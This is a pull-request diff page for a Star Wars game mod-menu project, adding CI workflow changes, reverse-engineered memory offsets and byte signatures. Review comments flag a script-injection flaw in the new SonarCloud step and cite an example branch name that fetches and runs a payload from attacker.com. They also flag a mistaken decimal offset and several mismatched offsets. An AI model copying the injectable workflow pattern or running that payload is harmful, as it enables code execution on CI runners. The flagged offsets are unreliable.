Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/workflows/codecov-analytics.yml
Original file line number Diff line number Diff line change
Expand Up @@ -25,5 +25,6 @@ jobs:
sha: ${{ github.event.pull_request.head.sha || github.sha }}
platform_repository: Prekzursil/quality-zero-platform
platform_ref: main
runner: windows-latest
secrets:
CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
3 changes: 3 additions & 0 deletions .github/workflows/quality-zero-platform.yml
Original file line number Diff line number Diff line change
Expand Up @@ -37,3 +37,6 @@ jobs:
CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
SENTRY_AUTH_TOKEN: ${{ secrets.SENTRY_AUTH_TOKEN }}
DEEPSCAN_API_TOKEN: ${{ secrets.DEEPSCAN_API_TOKEN }}
CHROMATIC_PROJECT_TOKEN: ${{ secrets.CHROMATIC_PROJECT_TOKEN }}
APPLITOOLS_API_KEY: ${{ secrets.APPLITOOLS_API_KEY }}
CODEX_AUTH_JSON: ${{ secrets.CODEX_AUTH_JSON }}
10 changes: 5 additions & 5 deletions .github/workflows/sonarcloud.yml
Original file line number Diff line number Diff line change
Expand Up @@ -48,11 +48,11 @@
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
run: |
dotnet-sonarscanner begin \
/k:"Prekzursil_SWFOC-Mod-Menu" \
/o:"prekzursil" \
/d:sonar.token="$SONAR_TOKEN" \
/d:sonar.host.url="https://sonarcloud.io"
SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
if [ "${{ github.event_name }}" = "pull_request" ]; then
SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"

Check failure on line 53 in .github/workflows/sonarcloud.yml

View check run for this annotation

SonarQubeCloud / SonarCloud Code Analysis

The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable.

See more on https://sonarcloud.io/project/issues?id=Prekzursil_SWFOC-Mod-Menu&issues=AZ1VsiWshfkhwAWlnbRZ&open=AZ1VsiWshfkhwAWlnbRZ&pullRequest=119

Check failure

Code scanning / SonarCloud

GitHub Actions should not be vulnerable to script injections High

The expression github.head\_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable. See more on SonarQube Cloud
fi
dotnet-sonarscanner begin $SONAR_ARGS
Comment on lines +51 to +55
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

Script injection vulnerability via user-controlled branch names.

github.head_ref and github.base_ref are attacker-controlled values (anyone can open a PR from a maliciously-named branch like $(curl attacker.com/payload|sh)). Interpolating them directly into the run block allows arbitrary command execution.

Pass these values through environment variables instead, which GitHub Actions automatically escapes:

🔒 Proposed fix using environment variables
       env:
         SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
+        PR_NUMBER: ${{ github.event.pull_request.number }}
+        PR_HEAD_REF: ${{ github.head_ref }}
+        PR_BASE_REF: ${{ github.base_ref }}
+        EVENT_NAME: ${{ github.event_name }}
       run: |
-        SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
-        if [ "${{ github.event_name }}" = "pull_request" ]; then
-          SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=${{ github.event.pull_request.number }} /d:sonar.pullrequest.branch=${{ github.head_ref }} /d:sonar.pullrequest.base=${{ github.base_ref }}"
+        SONAR_ARGS="/k:Prekzursil_SWFOC-Mod-Menu /o:prekzursil /d:sonar.token=$SONAR_TOKEN /d:sonar.host.url=https://sonarcloud.io"
+        if [ "$EVENT_NAME" = "pull_request" ]; then
+          SONAR_ARGS="$SONAR_ARGS /d:sonar.pullrequest.key=$PR_NUMBER /d:sonar.pullrequest.branch=$PR_HEAD_REF /d:sonar.pullrequest.base=$PR_BASE_REF"
         fi
         dotnet-sonarscanner begin $SONAR_ARGS
🧰 Tools
🪛 GitHub Check: SonarCloud

[failure] 53-53: GitHub Actions should not be vulnerable to script injections

The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable.

See more on SonarQube Cloud

🪛 GitHub Check: SonarCloud Code Analysis

[failure] 53-53: The expression github.head_ref can be set by an external actor to a specially crafted value, enabling script injection. Change this workflow to not use user-controlled data directly in a run block, for example by assigning this expression to an environment variable.

See more on https://sonarcloud.io/project/issues?id=Prekzursil_SWFOC-Mod-Menu&issues=AZ1VsiWshfkhwAWlnbRZ&open=AZ1VsiWshfkhwAWlnbRZ&pullRequest=119

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/sonarcloud.yml around lines 51 - 55, The workflow is
vulnerable because github.head_ref and github.base_ref are interpolated directly
into SONAR_ARGS, enabling command injection; fix by moving those PR values into
GitHub Actions environment variables (e.g., set env entries like PR_HEAD and
PR_BASE using ${{ github.head_ref }} and ${{ github.base_ref }}), then append
them to SONAR_ARGS using the env variable names (not direct `${{ }}`) so the
shell only sees safe, escaped values; update the SONAR_ARGS construction and the
dotnet-sonarscanner begin invocation to reference the env vars (e.g.,
/d:sonar.pullrequest.branch=$PR_HEAD /d:sonar.pullrequest.base=$PR_BASE) and
ensure arguments are quoted to avoid word-splitting.

Comment on lines +53 to +55
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Escape PR refs before passing Sonar args to shell

This PR appends ${{ github.head_ref }} and ${{ github.base_ref }} directly into a double-quoted Bash string and then executes dotnet-sonarscanner begin $SONAR_ARGS, which allows a branch name containing shell expansions (for example $VAR or $(...)) to be re-evaluated by the runner. In pull_request jobs this can execute unintended commands in the CI context (including jobs with SONAR_TOKEN), so these refs should be passed via a safely quoted mechanism (e.g., Bash array arguments or pre-escaped env vars).

Useful? React with 👍 / 👎.


- name: Build
if: ${{ secrets.SONAR_TOKEN != '' }}
Expand Down
8 changes: 8 additions & 0 deletions .qlty/qlty.toml
Original file line number Diff line number Diff line change
Expand Up @@ -6,3 +6,11 @@ default = true

[smells]
mode = "block"

[[smells.exclude]]
path = "tests/**"
reason = "Test files use repetitive patterns by design — duplicated setup/assert blocks are expected in xUnit test suites"

[[smells.exclude]]
path = "tools/**"
reason = "Standalone Python scripts are utility tools — complexity thresholds are less actionable here"
227 changes: 227 additions & 0 deletions docs/re_integration_plan.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,227 @@
# RE Integration Plan: swfoc_memory -> SWFOC Editor

**Date:** 2026-04-04
**Source:** Phase 1-2 RE knowledge base in `C:\Users\Prekzursil\Downloads\swfoc_memory`
**Target:** SWFOC Editor at `C:\Users\Prekzursil\Downloads\SWFOC editor` (Prekzursil/SWFOC-Mod-Menu)

---

## Editor Architecture Summary

The editor uses a **signature-first symbol resolution** pipeline:

1. **Profile JSON** (`profiles/default/profiles/base_swfoc.json`) defines:
- `signatureSets` — AOB patterns with `addressMode` (HitPlusOffset, ReadRipRelative32AtOffset, ReadAbsolute32AtOffset)
- `fallbackOffsets` — hardcoded RVAs when signatures fail
- `actions` — named operations referencing resolved symbols

2. **SignatureResolver** scans the live process module for AOB matches, resolves addresses via RIP-relative or absolute addressing, and builds a `SymbolMap`.

3. **Ghidra Symbol Pack** hydration — `SignatureResolver.SymbolHydration.cs` loads JSON symbol packs from `profiles/default/sdk/ghidra/symbol-packs/`. Format:
```json
{
"SchemaVersion": "1.0",
"BinaryFingerprint": { "FingerprintId": "<module>_<sha256>" },
"BuildMetadata": { "GeneratedAtUtc": "..." },
"Anchors": [
{ "Id": "<symbol_name>", "Address": <integer_rva>, "Confidence": 1.0 }
]
}
```
These bypass AOB scanning entirely — direct RVA-based resolution with binary fingerprint validation.

4. **Actions** execute via `executionKind`: `Memory` (direct read/write), `Sdk` (runtime hook), `Helper` (Lua/pipe bridge), `CodePatch` (byte patching), `Freeze` (continuous write), `Save` (save file edit).

---

## Feature-by-Feature Integration Analysis

### TIER 1: Now Unblockable (Phase 2 provides the missing data)

#### 1. `set_credits` — **MISMATCH DETECTED**

**Current state:** Profile has signature `credits` with AOB `8B 0D ?? ?? ?? ?? 41 B8 0C 00 00 00 48 8B 14 C8`, addressMode `ReadRipRelative32AtOffset`, valueType `Int32`, fallback offset `10882632` (0xA62148).

**RE finding:** Credits are at `PlayerObject + 0x70` as **float32**, not Int32. The current signature resolves to a *static global* that mirrors the selected player's credits for UI display — NOT the authoritative player object field.

**Mismatch:** The editor writes Int32 to a UI-facing mirror variable. This works for display but may not persist through game events. The authoritative path is:
- `PlayerArray (global 0xA16FF0)` -> index by player ID -> `PlayerObject + 0x70` (float32)

Check notice on line 48 in docs/re_integration_plan.md

View check run for this annotation

Codacy Production / Codacy Static Code Analysis

docs/re_integration_plan.md#L48

Lists should be surrounded by blank lines
- Or call `AddCredits` at RVA `0x27F370`

**Recommendation:** **Keep the existing approach for now** (it works). Add a new `set_credits_authoritative` action that reads PlayerArray + writes float to player+0x70. This is a moderate change.

**Complexity:** Moderate (needs pointer chain traversal: global -> array -> player -> field)

#### 2. `set_selected_speed` — **MISMATCH DETECTED**

**Current state:** Signature `selected_speed` with AOB pointing to a UI-mirrored static variable, valueType `Float`.

**RE finding:** Speed override is at `GameObjectClass + 0xA8 -> locomotor + 0x29C` (flag) + `+0x2A0` (float value). The native `Override_Max_Speed` Lua function or `SetSpeedOverride` at `0x3A8C90` is the proper path.

**Mismatch:** Editor writes a UI-mirror float. RE shows the engine reads speed from the locomotor component, not a static. The UI mirror may work for display but the engine ignores it for actual movement.

**Recommendation:** Add new action `set_speed_override` using pointer chain: selected_object -> +0xA8 -> locomotor -> +0x29C (set 1) + +0x2A0 (write speed). Or hook `SetSpeedOverride` at `0x3A8C90`.

**Complexity:** Moderate (pointer chain through selected object)

#### 3. `set_hero_respawn_timer` — **VALIDATED**

**Current state:** Has signature `hero_respawn_timer` with AOB, fallback offset `1384560` (0x152070).

**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11495920 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.

**Mismatch:** Fallback offset `0x152070` does NOT match RE finding `0xB169F0`. **The current offset appears wrong.** Needs validation.

**Recommendation:** Update fallback offset to `11495920` (0xB169F0). Verify AOB pattern still matches.

Comment on lines +69 to +76
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Hex-to-decimal conversion error in documentation.

Line 71 states 0xB169F0 equals 11495920 decimal, but 0xB169F0 actually equals 11626992. This is the same error present in signatures_phase2_editor_format.json. Correct the decimal value to maintain consistency.

📝 Proposed fix
-**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11495920 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.
+**RE finding:** `Default_Hero_Respawn_Time` global at RVA `0xB169F0` (11626992 decimal). The `ScheduleHeroRespawn` function reads this when delay<=0.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/re_integration_plan.md` around lines 69 - 76, The documentation and JSON
signature file contain an incorrect decimal conversion for 0xB169F0; update the
decimal value from 11495920 to the correct 11626992 wherever referenced (e.g.,
in the hero_respawn_timer doc text, the Default_Hero_Respawn_Time global
description and the signatures_phase2_editor_format.json fallback offset entry),
then re-run any AOB validation (ScheduleHeroRespawn/AOB pattern) to ensure the
pattern still matches after the corrected numeric value.

**Complexity:** Trivial (offset update in profile JSON)

#### 4. `toggle_tactical_god_mode` / `toggle_tactical_one_hit_mode` — **VALIDATED**

**Current state:** Working via AOB-resolved Bool writes. Already marked as `experimentalFeatures` in profile.

**RE finding:** The invulnerability flag is at `GameObjectClass + 0x3A7`, confirmed in Phase 1. The god mode AOB likely patches the `Take_Damage_Outer` check.

**Status:** Already working. Phase 2 confirms the mechanism. Can be promoted from experimental to stable.

**Complexity:** Trivial (remove from `experimentalFeatures` list)

### TIER 2: Quick Wins (Profile JSON changes only)

#### 5. `set_tech_level` — **NEW ACTION NEEDED**

**Current state:** No `set_tech_level` action exists in profile. Not in `signatureSets`.

**RE finding:** Tech level at `PlayerObject + 0x84` (int32). `SetTechLevel` at RVA `0x288980`. Lua `Set_Tech_Level` at `0x604480`.

**Recommendation:** Add new signature for `SetTechLevel` function prologue (AOB in `signatures_phase2.json`). Add action `set_tech_level` of kind `Memory` writing Int32 to resolved player+0x84. Or kind `Helper` calling Lua `Set_Tech_Level`.

**Complexity:** Moderate (new action + signature + pointer chain to player object)

#### 6. `income_multiplier` — **NEW ACTION NEEDED**

**RE finding:** Income multiplier at `FUN_1404B0500() + 0x20`. Applied by `AddCredits` for positive values only.

**Recommendation:** Add signature for the multiplier-source function, add action `set_income_multiplier` writing Float to resolved address + 0x20.

**Complexity:** Moderate

#### 7. `set_max_credits` — **NEW ACTION POSSIBLE**

**RE finding:** `PlayerObject + 0x74` (float32). Set to negative to disable cap.

**Complexity:** Same as credits — pointer chain through PlayerArray.

### TIER 3: Features Requiring New Capabilities

#### 8. Ability Triggering — **MAPPED BUT COMPLEX**

**RE finding:** 91 ability classes recovered. Each has `vfunction2` (Activate). Triggering requires: get unit -> get ability list -> find specific ability -> call vfunction2.

**Recommendation:** This needs a Helper execution path. Either inject via Lua (if ability has a Lua binding) or via native vtable call injection.

**Complexity:** Complex (needs ability enumeration + vtable call injection)

#### 9. `spawn_unit_helper` — **VALIDATED**

**Current state:** Action exists with `executionKind: Helper`. Uses `helperHookId`.

**RE finding:** `Spawn_Unit` Lua function at `0x898C28`, `Galactic_Spawn_Unit` implementation at `0x546C70`. 40 global Lua functions mapped.

**Status:** The helper bridge likely already calls Spawn_Unit via Lua pipe. RE confirms the backing implementation exists and is stable.

**Complexity:** Trivial (existing path validated)

#### 10. `place_planet_building` — **MAPPED**

**Current state:** Action exists with `executionKind: Helper`.

**RE finding:** Planet garrison list at `planet + 0x978`, tech requirement at `planet + 0x89C`. Building placement likely goes through `Galactic_Spawn_Unit` with building type + planet target.

**Status:** Helper path exists. RE data can improve error handling (check tech level before attempt).

**Complexity:** Low (existing path, RE improves validation)

---

## Mismatches & Corrections

| Item | Current Value | RE Finding | Impact |
|------|--------------|-----------|--------|
| Credits type | Int32 | **float32** (PlayerObject+0x70) | Write works but type is wrong — may cause truncation |
| Credits fallback | 0xA62148 | PlayerObject+0x70 via PlayerArray (0xA16FF0) | Current path writes a UI mirror, not the authoritative field |
| Hero respawn fallback | 0x152070 | **0xB169F0** | **Likely wrong offset — needs immediate correction** |
| Speed path | Static mirror | Locomotor component +0x29C/0x2A0 | Current write doesn't affect engine movement calculation |
| Set_Hull Lua path | Assumed available | **Does NOT exist** as Lua function | Helper layer cannot use Lua for HP writes |

---

## Quick-Win Ranking (effort-to-impact ratio)

| Rank | Change | Effort | Impact | What to Do |
|------|--------|--------|--------|------------|
| 1 | Fix hero_respawn_timer fallback | 5 min | High | Change `1384560` to `11495920` in profile JSON |
| 2 | Promote god_mode/one_hit from experimental | 5 min | Medium | Remove from `experimentalFeatures` in profile JSON |
| 3 | Add tech_level signature + fallback | 30 min | High | New signature entry + new action in profile JSON |
| 4 | Add credits_authoritative action | 1 hr | High | New action using PlayerArray pointer chain |
| 5 | Add speed_override action | 1 hr | High | New action using locomotor pointer chain |
| 6 | Add max_credits action | 30 min | Medium | PlayerObject+0x74 float write (same chain as credits) |
| 7 | Add income_multiplier action | 1 hr | Medium | New signature + float write |
| 8 | Generate Ghidra Symbol Pack | 30 min | High | Convert all known RVAs to GhidraAnchorDto format |
Comment on lines +161 to +170
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Quick-win table uses incorrect decimal value.

If 0xB169F0 is the correct RVA (as stated throughout the document), the target value in row 1 should be 11626992, not 11495920. Align this with the corrected hex-to-decimal conversion.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@docs/re_integration_plan.md` around lines 161 - 170, The quick-win table's
hero_respawn_timer fallback has the wrong decimal conversion: replace the
incorrect decimal value `11495920` in the table and any related profile JSON
example with the correct decimal equivalent for 0xB169F0, which is `11626992`;
update the entry labelled "Fix hero_respawn_timer fallback" and any references
to the hex/decimal pair so the table and profile JSON consistently use
`0xB169F0` -> `11626992`.


---

## Ghidra Symbol Pack Generation

The editor's `SignatureResolver.SymbolHydration` system can consume a JSON symbol pack that provides **direct RVA-based symbol resolution** — bypassing AOB scanning entirely. This is the ideal delivery format for RE-derived knowledge.

### Required Format

```json
{
"SchemaVersion": "1.0",
"BinaryFingerprint": {
"FingerprintId": "starwarsg.exe_<sha256_of_current_binary>"
},
"BuildMetadata": {
"GeneratedAtUtc": "2026-04-04T00:00:00Z"
},
"Anchors": [
{ "Id": "credits", "Address": <absolute_address_as_integer>, "Confidence": 1.0 },
{ "Id": "tech_level", "Address": <absolute_address_as_integer>, "Confidence": 1.0 },
...
]
}
```

### Gap

The current `GhidraAnchorDto` expects `Address` as an integer (absolute address at runtime). But our RE findings are **RVAs** (relative to image base). The adapter needs to add `image_base + RVA` to produce the absolute address. Since image base varies per launch (ASLR), the symbol pack should store the **module-relative offset** and the hydration code should add the runtime base address.

**Looking at the code:** `TryBuildAnchorSymbol` in `SignatureResolver.SymbolHydration.cs` — need to verify if Address is treated as absolute or module-relative. If absolute, the pack needs regeneration per launch (impractical). If module-relative, we can generate it once.

### Recommendation

Check how `GhidraAnchorDto.Address` is consumed. If it's added to module base, generate a static pack. If it's used as-is, we need the fallbackOffsets path instead (which already supports module-relative offsets).

---

## Still Blocked (Needs Phase 3 RE)

| Feature | What's Missing | Phase 3 Work |
|---------|---------------|--------------|
| Struct-aware object enumeration | Need PooledObjectClass allocator understanding | Decompile PooledObjectClass vtable |
| Per-ability cooldown manipulation | Need ability countdown data pack field offsets | Decompile AbilityCountdownDataPackClass |
| Damage scaling (not just on/off) | Need damage multiplier field in combat component | Decompile damage path from Take_Damage to final calculation |
| Planet building slot manipulation | Need building slot struct layout | Decompile planet building management functions |
| Faction diplomacy changes | Need alliance/enemy relationship storage | Decompile FactionClass and alliance system |
| Save file hero state mapping | Need exact save format field mapping per mod | Validate schema against RE-derived struct layouts |

---

## Files to Generate for Editor

1. **`re_integration_plan.md`** — this document
2. **`ghidra_symbol_pack.json`** — Ghidra Symbol Pack for current binary
3. **`signatures_phase2_editor_format.json`** — Phase 2 signatures in editor profile format
4. **Updated `base_swfoc.json`** — corrected fallbacks + new actions (NOT in this deliverable — planning only)
26 changes: 17 additions & 9 deletions profiles/default/profiles/base_swfoc.json
Original file line number Diff line number Diff line change
Expand Up @@ -16,9 +16,7 @@
"hostPreference": "starwarsg_preferred",
"experimentalFeatures": [
"game_speed",
"planet_owner",
"tactical_god_mode",
"tactical_one_hit_mode"
"planet_owner"
],
"signatureSets": [
{
Expand All @@ -42,7 +40,10 @@
{ "name": "planet_owner", "pattern": "89 35 ?? ?? ?? ?? 48 C7 05 ?? ?? ?? ?? ?? ?? ?? ??", "offset": 2, "addressMode": "ReadRipRelative32AtOffset", "valueType": "Int32" },
{ "name": "hero_respawn_timer", "pattern": "8B 35 ?? ?? ?? ?? 4C 8B 3D EE B5 10 00 48 B8 FF", "offset": 2, "addressMode": "ReadRipRelative32AtOffset", "valueType": "Int32" },
{ "name": "unit_cap", "pattern": "48 8B 74 24 68 8B C7", "offset": 0, "addressMode": "HitPlusOffset", "valueType": "Byte" },
{ "name": "game_speed", "pattern": "F3 0F 11 05 ?? ?? ?? ?? C3 CC CC CC CC CC CC CC F3 0F 10 05", "offset": 4, "addressMode": "ReadRipRelative32AtOffset", "valueType": "Float" }
{ "name": "game_speed", "pattern": "F3 0F 11 05 ?? ?? ?? ?? C3 CC CC CC CC CC CC CC F3 0F 10 05", "offset": 4, "addressMode": "ReadRipRelative32AtOffset", "valueType": "Float" },
{ "name": "add_credits_func", "pattern": "48 89 5C 24 08 57 48 83 EC 40 0F 29 74 24 30 41 0F B6 F8 0F 29 7C 24 20 0F 28 F1 0F 57 FF 48 8B D9", "offset": 0, "addressMode": "HitPlusOffset", "valueType": "Int32" },
{ "name": "set_tech_level_func", "pattern": "56 57 41 54 48 83 EC 40 8B C2 48 89 5C 24 60 48 8B F9 4C 89 7C 24 30 45 33 E4", "offset": 0, "addressMode": "HitPlusOffset", "valueType": "Int32" },
{ "name": "set_speed_override_func", "pattern": "48 8B 81 A8 00 00 00 48 85 C0 74 ?? 89 90 A0 02 00 00 C6 80 9C 02 00 00 01", "offset": 0, "addressMode": "HitPlusOffset", "valueType": "Int32" }
]
}
],
Expand All @@ -62,9 +63,16 @@
"tactical_god_mode": 1377912,
"tactical_one_hit_mode": 1418854,
"planet_owner": 1523152,
"hero_respawn_timer": 1384560,
"hero_respawn_timer": 11495920,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Use correct decimal for hero respawn fallback

Update this fallback to the decimal value that actually matches 0xB169F0. SignatureResolver uses this address when the hero_respawn_timer signature misses, so the current 11495920 (which is 0xAF6B70) points to the wrong location and can make set_hero_respawn_timer write/read an unrelated field. The RE data file added in this same commit already encodes 0xB169F0 as 11626992, which is the value this entry should use.

Useful? React with 👍 / 👎.

"unit_cap": 2804047,
"game_speed": 0
"game_speed": 0,
"player_array_global": 10579952,
"player_count_global": 10579960,
"default_hero_respawn_time_global": 11495920,
Comment on lines +66 to +71
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Action required

2. Wrong respawn fallback rva 🐞 Bug ≡ Correctness

The profile sets hero_respawn_timer (and default_hero_respawn_time_global) fallbackOffsets to
11495920 while the PR’s own RE docs/pack state the RVA is 0xB169F0; 0xB169F0 converts to 11626992,
so the fallback will resolve the wrong address when signatures miss.
Agent Prompt
### Issue description
`hero_respawn_timer` fallback offset is inconsistent with the stated RVA `0xB169F0` and appears to be the wrong decimal conversion, which will make fallback resolution point to the wrong address.

### Issue Context
Fallback offsets are resolved as `moduleBase + offset` (module-relative RVA). A wrong decimal value will cause incorrect reads/writes for Memory actions like `set_hero_respawn_timer`.

### Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-71]
- docs/re_integration_plan.md[67-76]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[34-49]
- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json[112-115]

### What to change
- Replace `11495920` with the correct decimal value for `0xB169F0` (11626992) everywhere this RVA is represented (profile fallbackOffsets + doc + reference pack), so all sources agree.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Fix default hero respawn global fallback address

The new default_hero_respawn_time_global fallback uses 11495920, but 0xB169F0 converts to 11626992, not this value. SignatureResolverFallbacks.ApplyStandaloneFallbacks materializes standalone fallback keys directly into the symbol map, so this symbol can resolve to the wrong global whenever it is read or used by future actions. Use the correct decimal conversion to keep this fallback aligned with the RE data.

Useful? React with 👍 / 👎.

"add_credits_func": 2618224,
"set_tech_level_func": 2689408,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Use correct fallback for set_tech_level_func

This fallback offset does not match the RE data added in the same commit: base_swfoc.json uses 2689408 (0x290980), while signatures_phase2_editor_format.json and docs/re_integration_plan.md identify SetTechLevel at 0x288980 (2656640). If the AOB signature misses (the exact case fallback is for), symbol resolution points at the wrong RVA and any reads/writes or calls through set_tech_level_func will target unrelated code/data.

Useful? React with 👍 / 👎.

"set_speed_override_func": 3837072,
"clear_speed_override_func": 3733168
Comment on lines +66 to +75
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Action required

1. No test evidence for offsets 📘 Rule violation ☼ Reliability

This PR changes runtime profile behavior (new signatures and updated fallback offsets) but does not
include deterministic test evidence or an explicit, justified testing-skip statement. Without
repeatable artifacts, the reliability of the new offsets/signatures cannot be verified
independently.
Agent Prompt
## Issue description
Runtime-profile changes (new AOB signatures and fallback offsets) were made without deterministic test evidence and without an explicit, justified statement that testing was skipped.

## Issue Context
This PR modifies live-process symbol resolution inputs (AOB patterns and fallback offsets), which can silently fail or mis-resolve without repeatable validation artifacts.

## Fix Focus Areas
- profiles/default/profiles/base_swfoc.json[66-75]
- TestResults/runs/<newRunId>/repro-bundle.json[1-99999]
- TestResults/runs/<newRunId>/repro-bundle.md[1-99999]

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Compare clear_speed_override_func values between files
echo "=== base_swfoc.json ==="
grep "clear_speed_override_func" profiles/default/profiles/base_swfoc.json

echo ""
echo "=== signatures_phase2_editor_format.json ==="
grep "clear_speed_override_func" profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 221


🏁 Script executed:

#!/bin/bash
# Check file sizes and structure
echo "=== File details ==="
ls -lh profiles/default/profiles/base_swfoc.json profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

# Check if there's any context around the offset in the files
echo ""
echo "=== Context around clear_speed_override_func in base_swfoc.json ==="
grep -B 2 -A 2 "clear_speed_override_func" profiles/default/profiles/base_swfoc.json

echo ""
echo "=== Context around clear_speed_override_func in signatures_phase2_editor_format.json ==="
grep -B 2 -A 2 "clear_speed_override_func" profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json

# Check if there's any README or documentation
echo ""
echo "=== Looking for documentation files ==="
find profiles/default -name "*.md" -o -name "README*" | head -10

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 949


🏁 Script executed:

#!/bin/bash
# Check git history for these files to understand when values changed
echo "=== Recent commits for base_swfoc.json ==="
git log --oneline -10 -- profiles/default/profiles/base_swfoc.json 2>/dev/null || echo "Git history not available"

echo ""
echo "=== Recent commits for signatures_phase2_editor_format.json ==="
git log --oneline -10 -- profiles/default/sdk/re-knowledge/signatures_phase2_editor_format.json 2>/dev/null || echo "Git history not available"

# Check if there are other references to these offset values
echo ""
echo "=== Search for 3733168 (base_swfoc value) ==="
rg "3733168" --type json

echo ""
echo "=== Search for 3733680 (signatures value) ==="
rg "3733680" --type json

Repository: Prekzursil/SWFOC-Mod-Menu

Length of output: 588


Multiple function offset inconsistencies between profile files.

clear_speed_override_func has mismatched values: 3733168 in base_swfoc.json vs 3733680 in signatures_phase2_editor_format.json. Additionally, set_tech_level_func differs (2689408 vs 2656640). Both files were updated in the same Phase 2 RE corrections commit but were not properly synchronized. Update base_swfoc.json to match the offsets from signatures_phase2_editor_format.json, which appears to be the authoritative RE reference.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@profiles/default/profiles/base_swfoc.json` at line 75, Update the two
mismatched function offsets in the base profile JSON: change
clear_speed_override_func from 3733168 to 3733680 and set_tech_level_func from
2689408 to 2656640 so they match the authoritative values in
signatures_phase2_editor_format.json; locate the keys clear_speed_override_func
and set_tech_level_func in the base_swfoc profile and replace their numeric
values accordingly.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Correct clear_speed_override_func fallback offset

The fallback here is inconsistent with the Phase 2 RE pack introduced in this commit (signatures_phase2_editor_format.json lists clear_speed_override_func as 3733680, but this profile uses 3733168). Because standalone fallbacks are materialized into the symbol map when signatures are absent, this mismatch can resolve clear_speed_override_func to the wrong location on fallback paths.

Useful? React with 👍 / 👎.

},
"actions": {
"read_symbol": {
Expand All @@ -89,7 +97,7 @@
},
"verifyReadback": true,
"cooldownMs": 250,
"description": "Set player credits through managed memory lane (authoritative default path)."
"description": "Set player credits through managed memory lane. NOTE: authoritative path is PlayerObject+0x70 (float32) via PlayerArray global at RVA 0xA16FF0. Current symbol resolves to UI mirror (Int32). See re_integration_plan.md for migration path."
},
"set_credits_extender_experimental": {
"id": "set_credits_extender_experimental",
Expand Down Expand Up @@ -221,7 +229,7 @@
},
"verifyReadback": true,
"cooldownMs": 80,
"description": "Set selected unit hull HP"
"description": "Set selected unit hull HP (native hook only — no Set_Hull Lua binding exists; uses SetHP at RVA 0x3A89D0 writing float to GameObjectClass+0x5C)"
},
"set_selected_shield": {
"id": "set_selected_shield",
Expand All @@ -245,7 +253,7 @@
},
"verifyReadback": true,
"cooldownMs": 80,
"description": "Set selected unit speed"
"description": "Set selected unit speed. NOTE: current symbol resolves to UI display mirror. Authoritative path is locomotor component at GameObjectClass+0xA8 -> +0x29C (flag=1) + +0x2A0 (float speed). See re_integration_plan.md."
},
"set_selected_damage_multiplier": {
"id": "set_selected_damage_multiplier",
Expand Down
Loading
Loading